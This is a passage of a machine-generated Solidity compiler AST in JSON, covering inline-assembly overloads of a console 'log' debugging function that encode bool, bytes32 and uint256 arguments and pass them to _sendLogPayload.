Type":"YulLiteral","src":"46101:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"46107:2:22","nodeType":"YulIdentifier","src":"46107:2:22"}],"functionName":{"name":"mstore","nativeSrc":"46094:6:22","nodeType":"YulIdentifier","src":"46094:6:22"},"nativeSrc":"46094:16:22","nodeType":"YulFunctionCall","src":"46094:16:22"},"nativeSrc":"46094:16:22","nodeType":"YulExpressionStatement","src":"46094:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"46130:4:22","nodeType":"YulLiteral","src":"46130:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"46136:2:22","nodeType":"YulIdentifier","src":"46136:2:22"}],"functionName":{"name":"mstore","nativeSrc":"46123:6:22","nodeType":"YulIdentifier","src":"46123:6:22"},"nativeSrc":"46123:16:22","nodeType":"YulFunctionCall","src":"46123:16:22"},"nativeSrc":"46123:16:22","nodeType":"YulExpressionStatement","src":"46123:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"46159:4:22","nodeType":"YulLiteral","src":"46159:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"46165:2:22","nodeType":"YulIdentifier","src":"46165:2:22"}],"functionName":{"name":"mstore","nativeSrc":"46152:6:22","nodeType":"YulIdentifier","src":"46152:6:22"},"nativeSrc":"46152:16:22","nodeType":"YulFunctionCall","src":"46152:16:22"},"nativeSrc":"46152:16:22","nodeType":"YulExpressionStatement","src":"46152:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35160,"isOffset":false,"isSlot":false,"src":"46020:2:22","valueSize":1},{"declaration":35163,"isOffset":false,"isSlot":false,"src":"46049:2:22","valueSize":1},{"declaration":35166,"isOffset":false,"isSlot":false,"src":"46078:2:22","valueSize":1},{"declaration":35169,"isOffset":false,"isSlot":false,"src":"46107:2:22","valueSize":1},{"declaration":35172,"isOffset":false,"isSlot":false,"src":"46136:2:22","valueSize":1},{"declaration":35175,"isOffset":false,"isSlot":false,"src":"46165:2:22","valueSize":1}],"id":35183,"nodeType":"InlineAssembly","src":"45984:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"44987:3:22","parameters":{"id":35157,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35152,"mutability":"mutable","name":"p0","nameLocation":"44996:2:22","nodeType":"VariableDeclaration","scope":35185,"src":"44991:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35151,"name":"bool","nodeType":"ElementaryTypeName","src":"44991:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":35154,"mutability":"mutable","name":"p1","nameLocation":"45008:2:22","nodeType":"VariableDeclaration","scope":35185,"src":"45000:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35153,"name":"bytes32","nodeType":"ElementaryTypeName","src":"45000:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":35156,"mutability":"mutable","name":"p2","nameLocation":"45020:2:22","nodeType":"VariableDeclaration","scope":35185,"src":"45012:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35155,"name":"uint256","nodeType":"ElementaryTypeName","src":"45012:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"44990:33:22"},"returnParameters":{"id":35158,"nodeType":"ParameterList","parameters":[],"src":"45038:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35226,"nodeType":"FunctionDefinition","src":"46190:1399:22","nodes":[],"body":{"id":35225,"nodeType":"Block","src":"46250:1339:22","nodes":[],"statements":[{"assignments":[35195],"declarations":[{"constant":false,"id":35195,"mutability":"mutable","name":"m0","nameLocation":"46268:2:22","nodeType":"VariableDeclaration","scope":35225,"src":"46260:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35194,"name":"bytes32","nodeType":"ElementaryTypeName","src":"46260:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35196,"nodeType":"VariableDeclarationStatement","src":"46260:10:22"},{"assignments":[35198],"declarations":[{"constant":false,"id":35198,"mutability":"mutable","name":"m1","nameLocation":"46288:2:22","nodeType":"VariableDeclaration","scope":35225,"src":"46280:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35197,"name":"bytes32","nodeType":"ElementaryTypeName","src":"46280:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35199,"nodeType":"VariableDeclarationStatement","src":"46280:10:22"},{"assignments":[35201],"declarations":[{"constant":false,"id":35201,"mutability":"mutable","name":"m2","nameLocation":"46308:2:22","nodeType":"VariableDeclaration","scope":35225,"src":"46300:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35200,"name":"bytes32","nodeType":"ElementaryTypeName","src":"46300:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35202,"nodeType":"VariableDeclarationStatement","src":"46300:10:22"},{"assignments":[35204],"declarations":[{"constant":false,"id":35204,"mutability":"mutable","name":"m3","nameLocation":"46328:2:22","nodeType":"VariableDeclaration","scope":35225,"src":"46320:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35203,"name":"bytes32","nodeType":"ElementaryTypeName","src":"46320:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35205,"nodeType":"VariableDeclarationStatement","src":"46320:10:22"},{"assignments":[35207],"declarations":[{"constant":false,"id":35207,"mutability":"mutable","name":"m4","nameLocation":"46348:2:22","nodeType":"VariableDeclaration","scope":35225,"src":"46340:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35206,"name":"bytes32","nodeType":"ElementaryTypeName","src":"46340:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35208,"nodeType":"VariableDeclarationStatement","src":"46340:10:22"},{"assignments":[35210],"declarations":[{"constant":false,"id":35210,"mutability":"mutable","name":"m5","nameLocation":"46368:2:22","nodeType":"VariableDeclaration","scope":35225,"src":"46360:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35209,"name":"bytes32","nodeType":"ElementaryTypeName","src":"46360:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35211,"nodeType":"VariableDeclarationStatement","src":"46360:10:22"},{"assignments":[35213],"declarations":[{"constant":false,"id":35213,"mutability":"mutable","name":"m6","nameLocation":"46388:2:22","nodeType":"VariableDeclaration","scope":35225,"src":"46380:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35212,"name":"bytes32","nodeType":"ElementaryTypeName","src":"46380:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35214,"nodeType":"VariableDeclarationStatement","src":"46380:10:22"},{"assignments":[35216],"declarations":[{"constant":false,"id":35216,"mutability":"mutable","name":"m7","nameLocation":"46408:2:22","nodeType":"VariableDeclaration","scope":35225,"src":"46400:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35215,"name":"bytes32","nodeType":"ElementaryTypeName","src":"46400:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35217,"nodeType":"VariableDeclarationStatement","src":"46400:10:22"},{"AST":{"nativeSrc":"46429:856:22","nodeType":"YulBlock","src":"46429:856:22","statements":[{"body":{"nativeSrc":"46472:313:22","nodeType":"YulBlock","src":"46472:313:22","statements":[{"nativeSrc":"46490:15:22","nodeType":"YulVariableDeclaration","src":"46490:15:22","value":{"kind":"number","nativeSrc":"46504:1:22","nodeType":"YulLiteral","src":"46504:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"46494:6:22","nodeType":"YulTypedName","src":"46494:6:22","type":""}]},{"body":{"nativeSrc":"46575:40:22","nodeType":"YulBlock","src":"46575:40:22","statements":[{"body":{"nativeSrc":"46604:9:22","nodeType":"YulBlock","src":"46604:9:22","statements":[{"nativeSrc":"46606:5:22","nodeType":"YulBreak","src":"46606:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"46592:6:22","nodeType":"YulIdentifier","src":"46592:6:22"},{"name":"w","nativeSrc":"46600:1:22","nodeType":"YulIdentifier","src":"46600:1:22"}],"functionName":{"name":"byte","nativeSrc":"46587:4:22","nodeType":"YulIdentifier","src":"46587:4:22"},"nativeSrc":"46587:15:22","nodeType":"YulFunctionCall","src":"46587:15:22"}],"functionName":{"name":"iszero","nativeSrc":"46580:6:22","nodeType":"YulIdentifier","src":"46580:6:22"},"nativeSrc":"46580:23:22","nodeType":"YulFunctionCall","src":"46580:23:22"},"nativeSrc":"46577:36:22","nodeType":"YulIf","src":"46577:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"46532:6:22","nodeType":"YulIdentifier","src":"46532:6:22"},{"kind":"number","nativeSrc":"46540:4:22","nodeType":"YulLiteral","src":"46540:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"46529:2:22","nodeType":"YulIdentifier","src":"46529:2:22"},"nativeSrc":"46529:16:22","nodeType":"YulFunctionCall","src":"46529:16:22"},"nativeSrc":"46522:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"46546:28:22","nodeType":"YulBlock","src":"46546:28:22","statements":[{"nativeSrc":"46548:24:22","nodeType":"YulAssignment","src":"46548:24:22","value":{"arguments":[{"name":"length","nativeSrc":"46562:6:22","nodeType":"YulIdentifier","src":"46562:6:22"},{"kind":"number","nativeSrc":"46570:1:22","nodeType":"YulLiteral","src":"46570:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"46558:3:22","nodeType":"YulIdentifier","src":"46558:3:22"},"nativeSrc":"46558:14:22","nodeType":"YulFunctionCall","src":"46558:14:22"},"variableNames":[{"name":"length","nativeSrc":"46548:6:22","nodeType":"YulIdentifier","src":"46548:6:22"}]}]},"pre":{"nativeSrc":"46526:2:22","nodeType":"YulBlock","src":"46526:2:22","statements":[]},"src":"46522:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"46639:3:22","nodeType":"YulIdentifier","src":"46639:3:22"},{"name":"length","nativeSrc":"46644:6:22","nodeType":"YulIdentifier","src":"46644:6:22"}],"functionName":{"name":"mstore","nativeSrc":"46632:6:22","nodeType":"YulIdentifier","src":"46632:6:22"},"nativeSrc":"46632:19:22","nodeType":"YulFunctionCall","src":"46632:19:22"},"nativeSrc":"46632:19:22","nodeType":"YulExpressionStatement","src":"46632:19:22"},{"nativeSrc":"46668:37:22","nodeType":"YulVariableDeclaration","src":"46668:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"46685:3:22","nodeType":"YulLiteral","src":"46685:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"46694:1:22","nodeType":"YulLiteral","src":"46694:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"46697:6:22","nodeType":"YulIdentifier","src":"46697:6:22"}],"functionName":{"name":"shl","nativeSrc":"46690:3:22","nodeType":"YulIdentifier","src":"46690:3:22"},"nativeSrc":"46690:14:22","nodeType":"YulFunctionCall","src":"46690:14:22"}],"functionName":{"name":"sub","nativeSrc":"46681:3:22","nodeType":"YulIdentifier","src":"46681:3:22"},"nativeSrc":"46681:24:22","nodeType":"YulFunctionCall","src":"46681:24:22"},"variables":[{"name":"shift","nativeSrc":"46672:5:22","nodeType":"YulTypedName","src":"46672:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"46733:3:22","nodeType":"YulIdentifier","src":"46733:3:22"},{"kind":"number","nativeSrc":"46738:4:22","nodeType":"YulLiteral","src":"46738:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"46729:3:22","nodeType":"YulIdentifier","src":"46729:3:22"},"nativeSrc":"46729:14:22","nodeType":"YulFunctionCall","src":"46729:14:22"},{"arguments":[{"name":"shift","nativeSrc":"46749:5:22","nodeType":"YulIdentifier","src":"46749:5:22"},{"arguments":[{"name":"shift","nativeSrc":"46760:5:22","nodeType":"YulIdentifier","src":"46760:5:22"},{"name":"w","nativeSrc":"46767:1:22","nodeType":"YulIdentifier","src":"46767:1:22"}],"functionName":{"name":"shr","nativeSrc":"46756:3:22","nodeType":"YulIdentifier","src":"46756:3:22"},"nativeSrc":"46756:13:22","nodeType":"YulFunctionCall","src":"46756:13:22"}],"functionName":{"name":"shl","nativeSrc":"46745:3:22","nodeType":"YulIdentifier","src":"46745:3:22"},"nativeSrc":"46745:25:22","nodeType":"YulFunctionCall","src":"46745:25:22"}],"functionName":{"name":"mstore","nativeSrc":"46722:6:22","nodeType":"YulIdentifier","src":"46722:6:22"},"nativeSrc":"46722:49:22","nodeType":"YulFunctionCall","src":"46722:49:22"},"nativeSrc":"46722:49:22","nodeType":"YulExpressionStatement","src":"46722:49:22"}]},"name":"writeString","nativeSrc":"46443:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"46464:3:22","nodeType":"YulTypedName","src":"46464:3:22","type":""},{"name":"w","nativeSrc":"46469:1:22","nodeType":"YulTypedName","src":"46469:1:22","type":""}],"src":"46443:342:22"},{"nativeSrc":"46798:17:22","nodeType":"YulAssignment","src":"46798:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"46810:4:22","nodeType":"YulLiteral","src":"46810:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"46804:5:22","nodeType":"YulIdentifier","src":"46804:5:22"},"nativeSrc":"46804:11:22","nodeType":"YulFunctionCall","src":"46804:11:22"},"variableNames":[{"name":"m0","nativeSrc":"46798:2:22","nodeType":"YulIdentifier","src":"46798:2:22"}]},{"nativeSrc":"46828:17:22","nodeType":"YulAssignment","src":"46828:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"46840:4:22","nodeType":"YulLiteral","src":"46840:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"46834:5:22","nodeType":"YulIdentifier","src":"46834:5:22"},"nativeSrc":"46834:11:22","nodeType":"YulFunctionCall","src":"46834:11:22"},"variableNames":[{"name":"m1","nativeSrc":"46828:2:22","nodeType":"YulIdentifier","src":"46828:2:22"}]},{"nativeSrc":"46858:17:22","nodeType":"YulAssignment","src":"46858:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"46870:4:22","nodeType":"YulLiteral","src":"46870:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"46864:5:22","nodeType":"YulIdentifier","src":"46864:5:22"},"nativeSrc":"46864:11:22","nodeType":"YulFunctionCall","src":"46864:11:22"},"variableNames":[{"name":"m2","nativeSrc":"46858:2:22","nodeType":"YulIdentifier","src":"46858:2:22"}]},{"nativeSrc":"46888:17:22","nodeType":"YulAssignment","src":"46888:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"46900:4:22","nodeType":"YulLiteral","src":"46900:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"46894:5:22","nodeType":"YulIdentifier","src":"46894:5:22"},"nativeSrc":"46894:11:22","nodeType":"YulFunctionCall","src":"46894:11:22"},"variableNames":[{"name":"m3","nativeSrc":"46888:2:22","nodeType":"YulIdentifier","src":"46888:2:22"}]},{"nativeSrc":"46918:17:22","nodeType":"YulAssignment","src":"46918:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"46930:4:22","nodeType":"YulLiteral","src":"46930:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"46924:5:22","nodeType":"YulIdentifier","src":"46924:5:22"},"nativeSrc":"46924:11:22","nodeType":"YulFunctionCall","src":"46924:11:22"},"variableNames":[{"name":"m4","nativeSrc":"46918:2:22","nodeType":"YulIdentifier","src":"46918:2:22"}]},{"nativeSrc":"46948:17:22","nodeType":"YulAssignment","src":"46948:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"46960:4:22","nodeType":"YulLiteral","src":"46960:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"46954:5:22","nodeType":"YulIdentifier","src":"46954:5:22"},"nativeSrc":"46954:11:22","nodeType":"YulFunctionCall","src":"46954:11:22"},"variableNames":[{"name":"m5","nativeSrc":"46948:2:22","nodeType":"YulIdentifier","src":"46948:2:22"}]},{"nativeSrc":"46978:17:22","nodeType":"YulAssignment","src":"46978:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"46990:4:22","nodeType":"YulLiteral","src":"46990:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"46984:5:22","nodeType":"YulIdentifier","src":"46984:5:22"},"nativeSrc":"46984:11:22","nodeType":"YulFunctionCall","src":"46984:11:22"},"variableNames":[{"name":"m6","nativeSrc":"46978:2:22","nodeType":"YulIdentifier","src":"46978:2:22"}]},{"nativeSrc":"47008:17:22","nodeType":"YulAssignment","src":"47008:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"47020:4:22","nodeType":"YulLiteral","src":"47020:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"47014:5:22","nodeType":"YulIdentifier","src":"47014:5:22"},"nativeSrc":"47014:11:22","nodeType":"YulFunctionCall","src":"47014:11:22"},"variableNames":[{"name":"m7","nativeSrc":"47008:2:22","nodeType":"YulIdentifier","src":"47008:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"47099:4:22","nodeType":"YulLiteral","src":"47099:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"47105:10:22","nodeType":"YulLiteral","src":"47105:10:22","type":"","value":"0xb076847f"}],"functionName":{"name":"mstore","nativeSrc":"47092:6:22","nodeType":"YulIdentifier","src":"47092:6:22"},"nativeSrc":"47092:24:22","nodeType":"YulFunctionCall","src":"47092:24:22"},"nativeSrc":"47092:24:22","nodeType":"YulExpressionStatement","src":"47092:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"47136:4:22","nodeType":"YulLiteral","src":"47136:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"47142:2:22","nodeType":"YulIdentifier","src":"47142:2:22"}],"functionName":{"name":"mstore","nativeSrc":"47129:6:22","nodeType":"YulIdentifier","src":"47129:6:22"},"nativeSrc":"47129:16:22","nodeType":"YulFunctionCall","src":"47129:16:22"},"nativeSrc":"47129:16:22","nodeType":"YulExpressionStatement","src":"47129:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"47165:4:22","nodeType":"YulLiteral","src":"47165:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"47171:4:22","nodeType":"YulLiteral","src":"47171:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"47158:6:22","nodeType":"YulIdentifier","src":"47158:6:22"},"nativeSrc":"47158:18:22","nodeType":"YulFunctionCall","src":"47158:18:22"},"nativeSrc":"47158:18:22","nodeType":"YulExpressionStatement","src":"47158:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"47196:4:22","nodeType":"YulLiteral","src":"47196:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"47202:4:22","nodeType":"YulLiteral","src":"47202:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mstore","nativeSrc":"47189:6:22","nodeType":"YulIdentifier","src":"47189:6:22"},"nativeSrc":"47189:18:22","nodeType":"YulFunctionCall","src":"47189:18:22"},"nativeSrc":"47189:18:22","nodeType":"YulExpressionStatement","src":"47189:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"47232:4:22","nodeType":"YulLiteral","src":"47232:4:22","type":"","value":"0x80"},{"name":"p1","nativeSrc":"47238:2:22","nodeType":"YulIdentifier","src":"47238:2:22"}],"functionName":{"name":"writeString","nativeSrc":"47220:11:22","nodeType":"YulIdentifier","src":"47220:11:22"},"nativeSrc":"47220:21:22","nodeType":"YulFunctionCall","src":"47220:21:22"},"nativeSrc":"47220:21:22","nodeType":"YulExpressionStatement","src":"47220:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"47266:4:22","nodeType":"YulLiteral","src":"47266:4:22","type":"","value":"0xc0"},{"name":"p2","nativeSrc":"47272:2:22","nodeType":"YulIdentifier","src":"47272:2:22"}],"functionName":{"name":"writeString","nativeSrc":"47254:11:22","nodeType":"YulIdentifier","src":"47254:11:22"},"nativeSrc":"47254:21:22","nodeType":"YulFunctionCall","src":"47254:21:22"},"nativeSrc":"47254:21:22","nodeType":"YulExpressionStatement","src":"47254:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35195,"isOffset":false,"isSlot":false,"src":"46798:2:22","valueSize":1},{"declaration":35198,"isOffset":false,"isSlot":false,"src":"46828:2:22","valueSize":1},{"declaration":35201,"isOffset":false,"isSlot":false,"src":"46858:2:22","valueSize":1},{"declaration":35204,"isOffset":false,"isSlot":false,"src":"46888:2:22","valueSize":1},{"declaration":35207,"isOffset":false,"isSlot":false,"src":"46918:2:22","valueSize":1},{"declaration":35210,"isOffset":false,"isSlot":false,"src":"46948:2:22","valueSize":1},{"declaration":35213,"isOffset":false,"isSlot":false,"src":"46978:2:22","valueSize":1},{"declaration":35216,"isOffset":false,"isSlot":false,"src":"47008:2:22","valueSize":1},{"declaration":35187,"isOffset":false,"isSlot":false,"src":"47142:2:22","valueSize":1},{"declaration":35189,"isOffset":false,"isSlot":false,"src":"47238:2:22","valueSize":1},{"declaration":35191,"isOffset":false,"isSlot":false,"src":"47272:2:22","valueSize":1}],"id":35218,"nodeType":"InlineAssembly","src":"46420:865:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35220,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"47310:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786534","id":35221,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"47316:4:22","typeDescriptions":{"typeIdentifier":"t_rational_228_by_1","typeString":"int_const 228"},"value":"0xe4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_228_by_1","typeString":"int_const 228"}],"id":35219,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"47294:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35222,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47294:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35223,"nodeType":"ExpressionStatement","src":"47294:27:22"},{"AST":{"nativeSrc":"47340:243:22","nodeType":"YulBlock","src":"47340:243:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"47361:4:22","nodeType":"YulLiteral","src":"47361:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"47367:2:22","nodeType":"YulIdentifier","src":"47367:2:22"}],"functionName":{"name":"mstore","nativeSrc":"47354:6:22","nodeType":"YulIdentifier","src":"47354:6:22"},"nativeSrc":"47354:16:22","nodeType":"YulFunctionCall","src":"47354:16:22"},"nativeSrc":"47354:16:22","nodeType":"YulExpressionStatement","src":"47354:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"47390:4:22","nodeType":"YulLiteral","src":"47390:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"47396:2:22","nodeType":"YulIdentifier","src":"47396:2:22"}],"functionName":{"name":"mstore","nativeSrc":"47383:6:22","nodeType":"YulIdentifier","src":"47383:6:22"},"nativeSrc":"47383:16:22","nodeType":"YulFunctionCall","src":"47383:16:22"},"nativeSrc":"47383:16:22","nodeType":"YulExpressionStatement","src":"47383:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"47419:4:22","nodeType":"YulLiteral","src":"47419:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"47425:2:22","nodeType":"YulIdentifier","src":"47425:2:22"}],"functionName":{"name":"mstore","nativeSrc":"47412:6:22","nodeType":"YulIdentifier","src":"47412:6:22"},"nativeSrc":"47412:16:22","nodeType":"YulFunctionCall","src":"47412:16:22"},"nativeSrc":"47412:16:22","nodeType":"YulExpressionStatement","src":"47412:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"47448:4:22","nodeType":"YulLiteral","src":"47448:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"47454:2:22","nodeType":"YulIdentifier","src":"47454:2:22"}],"functionName":{"name":"mstore","nativeSrc":"47441:6:22","nodeType":"YulIdentifier","src":"47441:6:22"},"nativeSrc":"47441:16:22","nodeType":"YulFunctionCall","src":"47441:16:22"},"nativeSrc":"47441:16:22","nodeType":"YulExpressionStatement","src":"47441:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"47477:4:22","nodeType":"YulLiteral","src":"47477:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"47483:2:22","nodeType":"YulIdentifier","src":"47483:2:22"}],"functionName":{"name":"mstore","nativeSrc":"47470:6:22","nodeType":"YulIdentifier","src":"47470:6:22"},"nativeSrc":"47470:16:22","nodeType":"YulFunctionCall","src":"47470:16:22"},"nativeSrc":"47470:16:22","nodeType":"YulExpressionStatement","src":"47470:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"47506:4:22","nodeType":"YulLiteral","src":"47506:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"47512:2:22","nodeType":"YulIdentifier","src":"47512:2:22"}],"functionName":{"name":"mstore","nativeSrc":"47499:6:22","nodeType":"YulIdentifier","src":"47499:6:22"},"nativeSrc":"47499:16:22","nodeType":"YulFunctionCall","src":"47499:16:22"},"nativeSrc":"47499:16:22","nodeType":"YulExpressionStatement","src":"47499:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"47535:4:22","nodeType":"YulLiteral","src":"47535:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"47541:2:22","nodeType":"YulIdentifier","src":"47541:2:22"}],"functionName":{"name":"mstore","nativeSrc":"47528:6:22","nodeType":"YulIdentifier","src":"47528:6:22"},"nativeSrc":"47528:16:22","nodeType":"YulFunctionCall","src":"47528:16:22"},"nativeSrc":"47528:16:22","nodeType":"YulExpressionStatement","src":"47528:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"47564:4:22","nodeType":"YulLiteral","src":"47564:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"47570:2:22","nodeType":"YulIdentifier","src":"47570:2:22"}],"functionName":{"name":"mstore","nativeSrc":"47557:6:22","nodeType":"YulIdentifier","src":"47557:6:22"},"nativeSrc":"47557:16:22","nodeType":"YulFunctionCall","src":"47557:16:22"},"nativeSrc":"47557:16:22","nodeType":"YulExpressionStatement","src":"47557:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35195,"isOffset":false,"isSlot":false,"src":"47367:2:22","valueSize":1},{"declaration":35198,"isOffset":false,"isSlot":false,"src":"47396:2:22","valueSize":1},{"declaration":35201,"isOffset":false,"isSlot":false,"src":"47425:2:22","valueSize":1},{"declaration":35204,"isOffset":false,"isSlot":false,"src":"47454:2:22","valueSize":1},{"declaration":35207,"isOffset":false,"isSlot":false,"src":"47483:2:22","valueSize":1},{"declaration":35210,"isOffset":false,"isSlot":false,"src":"47512:2:22","valueSize":1},{"declaration":35213,"isOffset":false,"isSlot":false,"src":"47541:2:22","valueSize":1},{"declaration":35216,"isOffset":false,"isSlot":false,"src":"47570:2:22","valueSize":1}],"id":35224,"nodeType":"InlineAssembly","src":"47331:252:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"46199:3:22","parameters":{"id":35192,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35187,"mutability":"mutable","name":"p0","nameLocation":"46208:2:22","nodeType":"VariableDeclaration","scope":35226,"src":"46203:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35186,"name":"bool","nodeType":"ElementaryTypeName","src":"46203:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":35189,"mutability":"mutable","name":"p1","nameLocation":"46220:2:22","nodeType":"VariableDeclaration","scope":35226,"src":"46212:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35188,"name":"bytes32","nodeType":"ElementaryTypeName","src":"46212:7:22","typeDescriptions":{"typeIdentifier":"t